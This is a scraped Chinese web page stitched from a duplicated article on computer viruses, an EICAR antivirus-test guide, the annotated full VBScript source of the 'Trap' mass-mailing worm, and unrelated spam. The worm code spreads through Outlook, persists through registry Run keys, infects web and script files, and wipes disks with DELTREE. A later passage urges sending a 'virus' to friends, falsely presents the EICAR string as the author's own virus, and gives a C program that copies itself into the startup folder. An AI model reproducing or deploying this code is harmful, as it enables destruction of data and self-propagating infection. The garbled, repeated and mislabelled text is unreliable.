由于世界操作系统桌面环境90%的市场都由是使用微软Windows系列产品[7] ,所以病毒作者纷纷把病毒攻击对象选为Windows。 *** 病毒者首先应该确定要攻击的操作系统版本有何漏洞,这才是他所写的病毒能够利用的关键,而Windows没有行之有效的固有安全功能,且用户常以管理员权限运行未经安全检查的软件,这也为Windows下病毒的泛滥提供了温床。对于Linux、Mac OS等操作系统,使用的人群比较少,病毒一般不容易扩散。大多病毒发布作者的目的有多种,包括恶作剧、想搞破坏、报复及想出名与对研究病毒有特殊嗜好。
病毒主要通过 *** 浏览以及下载,盗版CD或DVD以及可移动磁盘等途径迅速传播。[8]
[编辑] 命名
以下表格所示是国际上对病毒命名惯例的前缀释义,DOS下的病毒一般无前缀:
前缀 含义
WM Word6.0、Word95宏病毒
WM97 Word97宏病毒
XM Excel5.0、Excel95宏病毒
X97M Excel5.0和Excel97版本下发作
XF Excel程序病毒
AM Access95宏病毒
AM97M Access97宏病毒
W95 Windows95、98病毒
Win Windows3.x病毒
W32 32位病毒,感染所有32位Windows系统
WINT 32位Windows病毒,只感染Windows NT
Trojan/Troj 特洛伊木马
VBS VBScript程序语言编写的病毒
V *** 感染 Visio VBA(Visual Basic for Applications)宏或script的宏或script病毒
*** *** cript编程语言编写的病毒
PE 32位寻址的Windows病毒
OSX Mac OSX的病毒
中间部分指的是病毒的英文名,而后缀一般是变种代号。
[编辑] 特征
在计算机科学里,电脑病毒是类似生物病毒一样的程序,它会复制自己并传播到其他宿主,并对宿主造成损害。宿主也是程序,通常是操作系统,从而进一步传染到其他程序、其他的电脑。电脑病毒在传播期间一般会隐蔽自己,由特定的条件触发,并开始产生破坏。
电脑病毒具有的不良特征有传播性、隐蔽性、感染性、潜伏性、可激发性[9]、表现性或破坏性,通常表现两种以上所述的特征就可以认定该程序是病毒。
计算机病毒的生命周期为开发期—传染期—潜伏期—发作期—发现期—消化期—消亡期。[8][10]
[编辑] 主要特征详解
[编辑] 传播性
病毒一般会自动利用25电子邮件端口传播,利用对象为微软操作系统捆绑的Outlook的某个漏洞。将病毒自动复制并群发给存储的通讯录名单成员。邮件标题较为吸引人点击,大多利用社会工程学如“我爱你”这样家人朋友之间亲密的话语,以降低人的警戒性。如果病毒 *** 者再应用脚本漏洞,将病毒直接嵌入邮件中,那么用户一点邮件标题打开邮件就会中病毒。
[编辑] 隐蔽性
更大的病毒不过1MB,一般的病毒仅在1KB左右,这样除了传播快速之外,隐蔽性也极强。部分病毒使用“无进程”技术或插入到某个系统必要的关键进程当中(工计算机病毒是一种在用户不知情或批淮下,能自我复制及运行的计算机程序;计算机病毒往往会影响受感染的计算机的正常运作。
法律定义
此条目仅具一部分地域的观点或资料,尚需补充世界性的内容。
欢迎改善本文,或讨论本文任何问题。
病毒的定义一直存在着争议[1],不少人包括世界各国的反病毒厂商都将基于 *** 的木马、后门程序以及恶意软件也归在电脑病毒之列查杀。
以下内容是中国大陆的电脑病毒的法律定义,司法部门凭这个就可以逮捕病毒 *** 和散播者。
1994年2月18日《中华人民共和国计算机信息系统安全保护条例》第二十八条[2]
计算机病毒,是指编制或者在计算机程序中插入的“破坏计算机功能或者毁坏数据,影响计算机使用,并能自我复制的一组计算机指令或者程序代码”。
截止2007年12月,中国仍然沿用此条例,没有新的修订。
中国互联网协会关于恶意软件的定义[3]
恶意软件是指在未明确提示用户或未经用户许可的情况下,在用户计算机或其他终端上安装运行,侵犯用户合法权益的软件,但已被我国现有法律法规规定的计算机病毒除外。
[编辑] 病毒作者
参见:被捕黑客列表
有不少病毒 *** 者黑客们被逮捕并予以起诉,判决的轻重各国都有所不同,如罗马尼亚西欧班尼花费15分钟写的MSBlast.F变种大约只感染了1000台计算机,按他们国家的法律他就有可能更高会被判15年有期徒刑,而1998年台湾病毒作者陈盈豪写的CIH病毒被一些人认为“迄今为止危害更大的病毒”[4],使全球6000万台计算机瘫痪,但他因为在被逮捕后无人起诉而免于法律制裁,在2001年有人以CIH受害者的身份起诉陈盈豪,才使他再次被逮捕,按照台湾当时的法律,他会被判损毁罪面临更高只3年以下的有期徒刑。
中国的木马程序“证券大盗”作者张勇因使用其木马程序截获股民账户密码,盗卖股票价值1141.9万元,非法获利38.6万元人民币,被逮捕后以盗窃罪与金融犯罪起诉,最终的判决结果是无期徒刑。
一公司的分析报告称,目前全世界现有200万有能力写较成熟电脑病毒的程序员。[5]
[编辑] 历史
主条目:知名病毒及蠕虫的历史年表
“病毒”一词最早用来表达此意是在弗雷德·科恩(Fred Cohen)1984年的论文《电脑病毒实验》。而病毒一词广为人知是得力于科幻小说。一部是1970年代中期大卫·杰洛德(David Gerrold)的《When H.A.R.L.I.E. was One》,描述了一个叫“病毒”的程序和与之对战的叫“抗体”的程序;另一部是约翰·布鲁勒尔(John Brunner)1975年的小说《震荡波骑士(ShakewaveRider)》,描述了一个叫做“磁带蠕虫”、在 *** 上删除数据的程序。[6]
1960年代初,美国麻省理工学院的一些青年研究人员,在做完工作后,利用业务时间玩一种他们自己创造的计算机游戏。做法是某个人编制一段小程序,然后输入到计算机中运行,并销毁对方的游戏程序。而这也可能就是计算机病毒的雏形。
[编辑] 运行环境以及传播途径
由于世界操作系统桌面环境90%的市场都由是使用微软Windows系列产品[7] ,所以病毒作者纷纷把病毒攻击对象选为Windows。 *** 病毒者首先应该确定要攻击的操作系统版本有何漏洞,这才是他所写的病毒能够利用的关键,而Windows没有行之有效的固有安全功能,且用户常以管理员权限运行未经安全检查的软件,这也为Windows下病毒的泛滥提供了温床。对于Linux、Mac OS等操作系统,使用的人群比较少,病毒一般不容易扩散。大多病毒发布作者的目的有多种,包括恶作剧、想搞破坏、报复及想出名与对研究病毒有特殊嗜好。
病毒主要通过 *** 浏览以及下载,盗版CD或DVD以及可移动磁盘等途径迅速传播。[8]
[编辑] 命名
以下表格所示是国际上对病毒命名惯例的前缀释义,DOS下的病毒一般无前缀:
前缀 含义
WM Word6.0、Word95宏病毒
WM97 Word97宏病毒
XM Excel5.0、Excel95宏病毒
X97M Excel5.0和Excel97版本下发作
XF Excel程序病毒
AM Access95宏病毒
AM97M Access97宏病毒
W95 Windows95、98病毒
Win Windows3.x病毒
W32 32位病毒,感染所有32位Windows系统
WINT 32位Windows病毒,只感染Windows NT
Trojan/Troj 特洛伊木马
VBS VBScript程序语言编写的病毒
V *** 感染 Visio VBA(Visual Basic for Applications)宏或script的宏或script病毒
*** *** cript编程语言编写的病毒
PE 32位寻址的Windows病毒
OSX Mac OSX的病毒
中间部分指的是病毒的英文名,而后缀一般是变种代号。
[编辑] 特征
在计算机科学里,电脑病毒是类似生物病毒一样的程序,它会复制自己并传播到其他宿主,并对宿主造成损害。宿主也是程序,通常是操作系统,从而进一步传染到其他程序、其他的电脑。电脑病毒在传播期间一般会隐蔽自己,由特定的条件触发,并开始产生破坏。
电脑病毒具有的不良特征有传播性、隐蔽性、感染性、潜伏性、可激发性[9]、表现性或破坏性,通常表现两种以上所述的特征就可以认定该程序是病毒。
计算机病毒的生命周期为开发期—传染期—潜伏期—发作期—发现期—消化期—消亡期。[8][10]
[编辑] 主要特征详解
[编辑] 传播性
病毒一般会自动利用25电子邮件端口传播,利用对象为微软操作系统捆绑的Outlook的某个漏洞。将病毒自动复制并群发给存储的通讯录名单成员。邮件标题较为吸引人点击,大多利用社会工程学如“我爱你”这样家人朋友之间亲密的话语,以降低人的警戒性。如果病毒 *** 者再应用脚本漏洞,将病毒直接嵌入邮件中,那么用户一点邮件标题打开邮件就会中病毒。
[编辑] 隐蔽性
更大的病毒不过1MB,一般的病毒仅在1KB左右,这样除了传播快速之外,隐蔽性也极强。部分病毒使用“无进程”技术或插入到某个系统必要的关键进程当中(工作管理员中的处理程序内,无法关闭的就是了),所以在任务管理器中找不到它的单独运行进程。而病毒自身一旦运行后,就会自己修改自己的文件名并隐藏在某个用户不常去的系统文件夹中,这样的文件夹通常有上千个系统文件,如果凭手工查找很难找到病毒。而病毒在运行前的伪装技术也不得不值得我们关注,将病毒和一个吸引人的文件捆绑合并成一个文件,那么运行正常吸引他的文件时,病毒也在我们的操作系统中悄悄的运行了。作管理员中的处理程序内,无法关闭的就是了),所以在任务管理器中找不到它的单独运行进程。而病毒自身一旦运行后,就会自己修改自己的文件名并隐藏在某个用户不常去的系统文件夹中,这样的文件夹通常有上千个系统文件,如果凭手工查找很难找到病毒。而病毒在运行前的伪装技术也不得不值得我们关注,将病毒和一个吸引人的文件捆绑合并成一个文件,那么运行正常吸引他的文件时,病毒也在我们的操作系统中悄悄的运行了。
本代码尽管测试,无任何危险。病毒文件测试代码。使用 *** 如下:
this
is
not
a
real
virus.
it
is
a
text
file
that
is
used
to
test
antivirus
software.
测试代码:
---------------------请复制下面的代码到文本中保存-------------------
x5o!p%@ap[4\pzx54(p^)7cc)7}$eicar-standard-antivirus-test-file!$h+h*
---------------------请复制上面的代码到文本中保存-------------------
测试 *** :
1.鼠标右键点击桌面空白处,创建一个“文本文档”。(什么,还不会建?我倒)
2.将下面这段测试代码复制到“文本”里,保存,然后可以直接右键点击这个文本,用杀毒软件扫描(图1)。也可以等一会,如果你的杀毒软件还行,会自动报毒并将该文本删除,那就可以初步放心了。
测试原理:
该段代码是欧洲计算机防病毒协会开发的一种病毒代码,其中的特征码已经包含在各种杀毒软件的病毒代码库里,所以可以用做测试病毒扫描引擎。
测试等级:
特等:复制完代码后便提示内存有病毒
优等:刚保存完就提示病毒(或者直接删除)
中等:保存后几秒提示病毒(或者直接删除)
下等:需自己启动病毒扫描查杀才提示病毒(或者直接删除)
劣等:无论怎么扫描都无法提示病毒(或者直接删除)
下面就对“陷阱”的发作过程和源代码作详细的揭密。
病毒具有自身加密能力(使用 JavaScript 编码技术),使得普通用户无法看到病毒原码,但在被感染 VBS 文件中并没有加密,于是作为一个入口点,我非常轻松地得到所有源码。
'@ thank you! make use of other person to get rid of an enemy, trap _2001
'这句话的意思可能是“借刀杀人”,然后是病毒名称“陷阱”
on error resume next
dim vbscr, fso,w1,w2,MSWKEY,HCUW,Code_Str, Vbs_Str, Js_Str
dim defpath, *** ailc, MAX_SIZE
dim whb(), title(10)
*** ailc = 4
Redim whb( *** ailc) ’白宫相关人员邮件名单
whb(0) = "president@whitehouse.gov"
whb(1) = "vice.president@whitehouse.gov "
whb(2) = "first.lady@whitehouse.gov"
whb(3) = "mrs.cheney@whitehouse.gov"
'发送邮件的主题
title(0) = "Thanks for helping me!"
title(1) = "The police are investigating the robbery"
title(2) = "an application for a job "
title(3) = "The aspects of an application process pertinent to OSI"
title(4) = "What a pleasant weather. Why not go out for a walk?"
title(5) = "These countries have gone / been through too many wars"
title(6) = "We've fixed on the 17th of April for the wedding"
title(7) = "The wind failed and the sea returned to calmness."
title(8) = "the sitting is open!"
title(9) = ""
defpath = "C:\Readme.html" ' 病毒文件
MAX_SIZE = 100000 ' 定义传染文件的更大尺寸
MSWKEY = "HKEY_LOCAL_MACHINE\SoftWare\Microsoft\Windows\"
HCUW = "HKEY_CURRENT_USER\Software\Microsoft\WAB\"
main
sub main() '主程序
on error resume next
dim w_s
w_s= WScript.ScriptFullName '得到病毒文件本身的路径
if w_s = "" then
Err.Clear
set fso = CreateObject("Scripting.FileSystemObject") '创建文件系统对象
if getErr then '辨认病毒状态
Randomize '初始化随机种子
ra = int(rnd() * 7) '产生随机数
doucment.write title(ra) ' 写随机内容
ExecuteMail '执行邮件状态时的程序
else
ExecutePage '执行 WEB 页状态时的程序
end if
else
ExecuteVbs '执行 VBS 文件状态时的程序
end if
end sub
Function getErr() 忽略错误
if Err.number0 then
getErr=true
Err.Clear
else
getErr=false
end if
end function
sub ExecutePage() 'WEB 页状态时的程序
on error resume next
dim Html_Str, adi, wdf, wdf2,wdf3,wdsf, wdsf2, vf
Vbs_Str = GetScriptCode("vbscript") '得到 VBScript 代码
Js_Str = GetJavaScript() ' 得到 Javascript 代码
Code_Str = MakeScript(encrypt(Vbs_str),true) '得到已加密过的脚本代码
Html_Str = MakeHtml(encrypt(Vbs_str), true) '得到已加密的完整HTML代码
Gf
'定义病毒文件的路径
wdsf = w2 "Mdm.vbs"
wdsf2 = w1 "Profile.vbs"
wdf = w2 "user.dll" ' 注意 wdf 和 wdf3 两个文件非常迷惑人
wdf2 = w2 "Readme.html"
wdf3 = w2 "system.dll"
'创建病毒文件
set vf = fso.OpenTextFile (wdf, 2, true)
vf.write Vbs_Str
vf.close
set vf = fso.OpenTextFile (wdsf, 2, true)
vf.write Vbs_Str
vf.close
set vf = fso.OpenTextFile (wdsf2, 2, true)
vf.Write Vbs_Str
vf.close
set vf = fso.OpenTextFile (wdf2, 2, true)
vf.write Html_Str
vf.close
set vf = fso.OpenTextFile (wdf3, 2, true)
vf.write Code_Str
vf.close
修改注册表,让病毒文件在每一次计算机启动自动执行
Writereg MSWKEY "CurrentVersion\Run\Mdm", wdsf, ""
Writereg MSWKEY "CurrentVersion\RunServices\Profile", wdsf2, ""
SendMail ' 执行发送邮件程序
Hackpage ' 执行感染网站程序
set adi = fso.Drives
for each x in adi
if x.DrivesType = 2 or x.DrivesType = 3 then '遍历所有本地硬盘和 *** 共享硬盘
call SearchHTML(x "\") '执行文件感染程序
end if
next
if TestUser then '检查用户
Killhe 执行删除文件操作
else
if Month(Date) Day(Date) = "75" then '如系统时间为 7月5日
set vf = fso.OpenTextFile(w2 "75.htm", 2,true) ’创建系统攻击文件
vf.write MakeScript ("window.navigate ('c:/con/con');", false)
vf.close
Writereg MSWKEY "CurrentVersion\Run\75", w2 "75.htm", "" '自动启动
window.navigate "c:/con/con" '立刻蓝屏,利用 Windows BUG,能引起 Win9X 系统100%死机(即无法恢复的蓝屏)
else '如不是7.5
if fso.FileExists(w2 "75.htm") then fso.DeleteFile w2 "75.htm" ' 删除75.htm
end if
end if
if fso.FileExists(defpath) then fso.DeleteFile defpath ' 删除 C:\Readme.html 病毒文件
end sub
sub ExecuteMail() '邮件状态时执行的程序
on error resume next
Vbs_Str = GetScriptCode("vbscript")
Js_Str = GetJavaScript()
Set Stl = CreateObject("Scriptlet.TypeLib") '创建 TypeLib对象
with Stl
.Reset
.Path = defpath
.Doc = MakeHtml(encrypt(Vbs_str), true)
.Write() '创建 C:\Readme.html 文件
end with
window.open defpath, "trap", "width=1 height=1 menubar=no scrollbars=no toolbar=no" 打开会隐藏的窗口
end sub
sub ExecuteVbs() ' 同理,如病毒文件是 VBS 时所执行的程序
on error resume next
dim x, adi, wvbs, ws, vf
set fso = CreateObject("Scripting.FileSystemObject")
set wvbs = CreateObject("WScript.Shell")
Gf
wvbs.RegWrite MSWKEY "Windows Scripting Host\Setings\Timeout", 0, "REG_DWORD"
set vf = fso.OpenTextFile (w2 "system.dll", 1)
Code_Str = vf.ReadAll()
vf.close
Hackpage
SendMail
set adi = fso.Drives
for each x in adi
if x.DrivesType = 2 or x.DrivesType = 3 then
call SearchHTML(x "\")
end if
next
if TestUser then Killhe
end sub
sub Gf() '得到系统路径
w1=fso.GetSpecialFolder(0) "\"
w2=fso.GetSpecialFolder(1) "\"
end sub
function Readreg(key_str) '读注册表
set tmps = CreateObject("WScript.Shell")
Readreg = tmps.RegRead(key_str)
set tmps = Nothing
end function
function Writereg(key_str, Newvalue, vtype) '写注册表
set tmps = CreateObject("WScript.Shell")
if vtype="" then
tmps.RegWrite key_str, Newvalue
else
tmps.RegWrite key_str, Newvalue, vtype
end if
set tmps = Nothing
end function
function MakeHtml(Sbuffer, iHTML) '创建HTML 文件的完整代码
dim ra
Randomize
ra = int(rnd() * 7)
MakeHtml="" "HTML" "HEAD" "TITLE" title(ra) "/" "TITLE" "/HEAD" _
"BO" "AD" vbcrlf MakeScript(Sbuffer, iHTML) vbcrlf _
"" "/BOAD" "/HTML"
end Function
function MakeScript(Codestr, iHTML) '此程序是病毒进行自我加密过程,较为复杂,不再描述
if iHTML then
dim DocuWrite
DocuWrite = "document.write(''+" "'SCRIPT Language=JavaScript\n'+" _
"jword" "+'\n/'" "+'SCRIPT');"
DocuWrite = DocuWrite vbcrlf "document.write(''+" "'SCRIPT Language=VBScript\n'+" _
"nword" "+'\n/'" "+'SCRIPT');"
MakeScript="" "SCRIPT Language=JavaScript" vbcrlf "var jword = " _
chr(34) encrypt(Js_Str) chr(34) vbcrlf "var nword = " _
chr(34) Codestr chr(34) vbcrlf "nword = unescape(nword);" vbcrlf _
"jword = unescape(jword);" vbcrlf DocuWrite vbcrlf "/" "SCRIPT"
else
MakeScript= "" "SCRIPT Language=JavaScript" Codestr "/" "SCRIPT"
end if
end function
function GetScriptCode(Languages) ' 得到不同脚本语言的代码
dim soj
for each soj in document.scripts
if LCase(soj.Language) = Languages then
if Languages = "javascript" then
if len(soj.Text) 200 then
else
GetScriptCode = soj.Text
exit function
end if
else
GetScriptCode = soj.Text
exit function
end if
end if
next
end function
function GetJavaScript()
GetJavaScript = GetScriptCode("javascript")
end function
function TestUser() '检测用户过程
on error resume next
dim keys(6), i, tmpStr, Wnet
'特定用户关键词
keys(0) = "white home"
keys(1) = "central intelligence agency"
keys(2) = "bush"
keys(3) = "american stock exchang"
keys(4) = "chief executive"
keys(5) = "usa"
TestUser = false
Set Wnet = CreateObject("WScript.Network") '创建 *** 对象
'下面一共3个循环,作用一样,是检查用户的 Domain、用户名和计算机名是否含有以上的5个关键词语,一旦含有程序将返回”真”的条件,从而对这些用户的文件进行疯狂删除。
tmpStr = LCase(Wnet.UserName) '
for i=0 to 4
if InStr(tmpStr, keys(i)) 0 then
TestUser=true
exit function
end if
next
tmpStr = LCase(Wnet.ComputerName)
for i=0 to 4
if InStr(tmpStr, keys(i)) 0 then
TestUser=true
exit function
end if
next
tmpStr = LCase(Wnet.UserDomain)
for i=0 to 4
if InStr(tmpStr, keys(i)) 0 then
TestUser=true
exit function
end if
next
Set Wnet = Nothing
end function
function SendMail() '发送文件过程
on error resume next
dim wab,ra,j, Oa, arr *** , eins, Eaec, fm, wreg, areg,at
'首先向 OutLook 地址簿发送带能直接感染文件的已加密的病毒代码和HTML 附件
主题是随机的,此过程与“欢乐时光“类似,所以不再描述
Randomize
at=fso.GetSpecialFolder(1) "\Readme.html"
set Oa = CreateObject("Outlook.Application")
set wab = Oa.GetNameSpace("MAPI")
for j = 1 to wab.AddressLists.Count
eins = wab.AddressLists(j)
wreg=Readreg (HCUW eins)
if (wreg="") then wreg = 1
Eaec = eins.AddressEntries.Count
if (Eaec Int(wreg)) then
for x = 1 to Eaec
arr *** = wab.AddressEntries(x)
areg = Readreg(HCUW arr *** )
if (areg = "") then
set fm = wab.CreateItem(0)
with fm
ra = int(rnd() * 7)
.Recipients.Add arr ***
.Subject = title(ra)
.Body = title(ra)
.Attachments at
.Send
Writereg HCUW arr *** , 1, "REG_DWORD"
end with
end if
next
end if
Writereg HCUW eins, Eaec, ""
next
'下面是对指定的用户无条件发送大量病毒邮件, 从这一点可看出病毒作者对美国 *** 的极度不满。
for j = 1 to *** ailc
arr *** = whb(j)
set fm = wab.CreateItem(0)
ra = int(rnd() * 7)
with fm
.Recipients.Add arr ***
.Subject = title(ra)
.Body = title(ra)
.Send
end with
next
set Oa = Nothing
window.setTimeout "SendMail()", 5000 '每隔 5 秒种重复发送
end function
sub SearchHTML(Path) '搜索可传染文件的过程
on error resume next
dim pfo, psfo, pf, ps, pfi, ext
if instr(Path, fso.GetSpecialFolder(2)) 0 then exit sub
if Path "E:\" then exit sub
set pfo = fso.GetFolder(Path)
set psfo = pfo.SubFolders
for each ps in psfo
SearchHTML(ps.Path)
set pf = ps.Files
for each pfi in pf
ext = LCase(fso.GetExtensionName(pfi.Path))
if instr(ext, "htm") 0 or ext = "plg" or ext = "asp" then '检查文件的扩展名是否为 htm、html、plg 如是则检查是否被感染,如未被感染则将已加密的病毒代码插入文件头,这样文件一旦执行也会执行病毒代码,而且不会影响原文件的正常执行。
if Code_Str"" then AddHead pfi.Path, pfi, 1
elseif ext= "vbs" then '如是 vbs 文件,则插入未加密的病毒代码
AddHead pfi.Path,pfi, 2
end if
next
next
end sub
sub Killhe() '全盘删除文件过程
on error resume next
dim codeText, ko,adi, kd, kh, ks,kf,kfs
codeText = "@ECHO OFF" vbcrlf "PATH " w1 "COMMAND" vbcrlf _
"DELTREE c:\" '将删除C盘的命令插入Autoexec.bat 中,下次开机时,删除整个硬盘,并没有任何提示
set ko = fso.OpenTextFile("C:\Autoexec.bat", 8, true)
ko.Write vbcrlf codeText
ko.Close
'接着立刻删除其它盘的所有文件
set adi = fso.Drives
for each x in adi
if x.DrivesType = 2 then
set kd = fso.GetFolder(x "\")
set kfs = kd.Files
for each kf in kfs
kf.Delete
next
set ks = kd.SubFolders
for each kh in ks
kh.Delete
next
end if
next
do while 1 '让系统立刻死机
window.open ""
loop
end sub
sub Hackpage() ' 此过程是直接攻击 Mircosoft IIS 服务器主页过程
dim fi
H = "C:\InetPut\wwwroot"
if fso.FolderExists(H) then
'判断是否为网站,如是则将已加密的带病毒代码插入文件头,从而直接传染浏览该网站的用户
set fi = fso.GetFile(H "\index.htm")
AddHead H "\index.htm",fi,1
end if
end sub
sub AddHead(Path, f, t) '此过程是病毒传染文件具体过程
on error resume next
dim tso, buffer,sr
if f.size MAX_SIZE then exit sub '传染大小小于100K的文件
set tso = fso.OpenTextFile(Path, 1, true)
buffer = tso.ReadAll()
tso.close
if (t = 1) then
if UCase(Left(LTrim(buffer), 7)) "SCRIPT" then
set tso = fso.OpenTextFile(Path, 2, true)
tso.Write Code_Str vbcrlf buffer '插入到文件头
tso.close
end if
else
if mid(buffer, 3, 2) "'@" then
tso.close
sr=w2 "user.dll"
if fso.FileExists(sr) then fso.CopyFile sr, Path
end if
end if
end sub
虽然病毒发作日已过但我们还是要小心提防病毒的变种出现。
首先创建一个文本文档,然后把以下的所有代码复制进去,然后保存,在右击这个文件,添加到压缩文件。再发给你的朋友就行了,如果杀毒软件够好,绝对可以测出病毒,但是如果一般的杀毒软件,那么就.....哼哼哼哼!!!!电脑的运行速度就会越来越慢,但慢到一定程度病毒就自动消失了,但需要1个月---2个月左右,所以病毒显然比较弱,如果对方察觉到电脑开始慢了,可能会换杀毒软件,这样病毒就会被消灭掉
以下是病毒代码
EP TV University sets up a stone monument the selected location to solicit the opinion
EP TV University 51,literary performances
EP the TV University holds the first session "the social dancing training class"
EP TV University net ALEXA place (2006.11.04) EP the TV University holds the first session "the social dancing training class"
EP TV University net ALEXA place
map inquiry
weather forecast
traffic citation
electricity
the time arrangement and usually the work delivers the notice
EP the TV University "the May Day" has a vacation the notice which makes upmissed lesson
About automatically leaves school the notice which the student processes
About automatically leaves school
About automatically leaves school
Television
Train time inquiry
Commercial
EP TV University sets up a stone monument the selected location to solicit the opinion
EP TV University 51,literary performances
EP the TV University holds the first session "the social dancing training class"
EP TV University net ALEXA place (2006.11.04) EP the TV University holds the first session "the social dancing training class"
EP TV University net ALEXA place
map inquiry
weather forecast
traffic citation
electricity
the time arrangement and usually the work delivers the notice
EP the TV University "the May Day" has a vacation the notice which makes upmissed lesson
About automatically leaves school the notice which the student processes
About automatically leaves school
About automatically leaves school
Television
Train time inquiry
Commercial
EP TV University sets up a stone monument the selected location to solicit the opinion
EP TV University 51,literary performances
EP the TV University holds the first session "the social dancing training class"
EP TV University net ALEXA place (2006.11.04) EP the TV University holds the first session "the social dancing training class"
EP TV University net ALEXA place
map inquiry
weather forecast
traffic citation
electricity
the time arrangement and usually the work delivers the notice
EP the TV University "the May Day" has a vacation the notice which makes upmissed lesson
About automatically leaves school the notice which the student processes
About automatically leaves school
About automatically leaves school
Television
Train time inquiry
Commercial
EP TV University sets up a stone monument the selected location to solicit the opinion
EP TV University 51,literary performances
EP the TV University holds the first session "the social dancing training class"
EP TV University net ALEXA place (2006.11.04) EP the TV University holds the first session "the social dancing training class"
EP TV University net ALEXA place
map inquiry
weather forecast
traffic citation
electricity
the time arrangement and usually the work delivers the notice
EP the TV University "the May Day" has a vacation the notice which makes upmissed lesson
About automatically leaves school the notice which the student processes
About automatically leaves school
About automatically leaves school
Television
Train time inquiry
Commercial
EP TV University sets up a stone monument the selected location to solicit the opinion
EP TV University 51,literary performances
EP the TV University holds the first session "the social dancing training class"
EP TV University net ALEXA place (2006.11.04) EP the TV University holds the first session "the social dancing training class"
EP TV University net ALEXA place
map inquiry
weather forecast
traffic citation
electricity
the time arrangement and usually the work delivers the notice
EP the TV University "the May Day" has a vacation the notice which makes upmissed lesson
About automatically leaves school the notice which the student processes
About automatically leaves school
About automatically leaves school
Television
Train time inquiry
Commercial
EP TV University sets up a stone monument the selected location to solicit the opinion
EP TV University 51,literary performances
EP the TV University holds the first session "the social dancing training class"
EP TV University net ALEXA place (2006.11.04) EP the TV University holds the first session "the social dancing training class"
EP TV University net ALEXA place
map inquiry
weather forecast
traffic citation
electricity
the time arrangement and usually the work delivers the notice
EP the TV University "the May Day" has a vacation the notice which makes upmissed lesson
About automatically leaves school the notice which the student processes
About automatically leaves school
About automatically leaves school
Television
Train time inquiry
Commercial
第二中 *** :同样创建个文本文档,将以下代码复制进去,再保存,此病毒稍微比刚才的病毒代码强一点
以下是病毒代码(就几串字符就有破坏力了,牛吧?我编写的)
X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
最简单的病毒代码如下: #include "windows.h"
#include "stdio.h"
void main(int argc,char * argv[])
{
//printf("%s\n",argv[i]);
char copy[80];
sprintf(copy,"copy %s \"%%userprofile%%\\「开始」菜单\\程序\\启动\"",argv[0]);
system(copy); //将这个程序拷到开机启动文件夹下面
//char cmd[]="shutdown -r -t 0";//自动重起
char cmd[]="ping baidu.com";//将这个换成上面的,就是一开机就重起了!
system(cmd);
system("pause");
}
建立一个新的记事本,把病毒源代码复制进去,保存。然后重命名,把后缀改成 .bat 就可以了。这时候系统会提示更改后不可用,点确定,这时候就是一个可执行程序了,也就是病毒。点击就会自动运行。另外,还可以隐藏后缀名,换图标,以假乱真
nice做为一款十分受欢迎火爆的买鞋子APP,因起便捷而又潮流趋势的特性吸引住了许多游戏玩家们的留意。因而也是有许多朋友们挑选在nice上边买鞋子。nice买鞋子多长时间到 nice买鞋子速达和直送...
10月25日,三星集团第二任传奇会长李健熙离世,葬礼当天,李健熙的长子、第三任会长李在镕与许久没有露面的小女儿李元洙一同出席。这个被戏称为“小公主”的17岁女孩的生活...
steam账户被盗找黑客相关问题 高仿黑客入侵模拟器苹果版相关问题 网络黑客指什么生肖 骇客月季介绍(金士顿骇客16g)...
要请人怎样才能精准定位他的部位(如何手机位置别人部位不花钱) 有一种设计方案,如今早已润物无声一般占有了所有网络平台,乃至包含了Mac和iPad,那便是APP角落里上的那一个『红点』。别以为那么一个...
本文目录一览:...
本文导读目录: 1、我现在21岁了,什么都不会,想学点计算机技术 2、天津有个21岁黑客善于入侵他人电脑请问姓名1 3、世界黑客谁第一? 4、史上最厉害的黑客是谁? 5、世界上最顶尖的...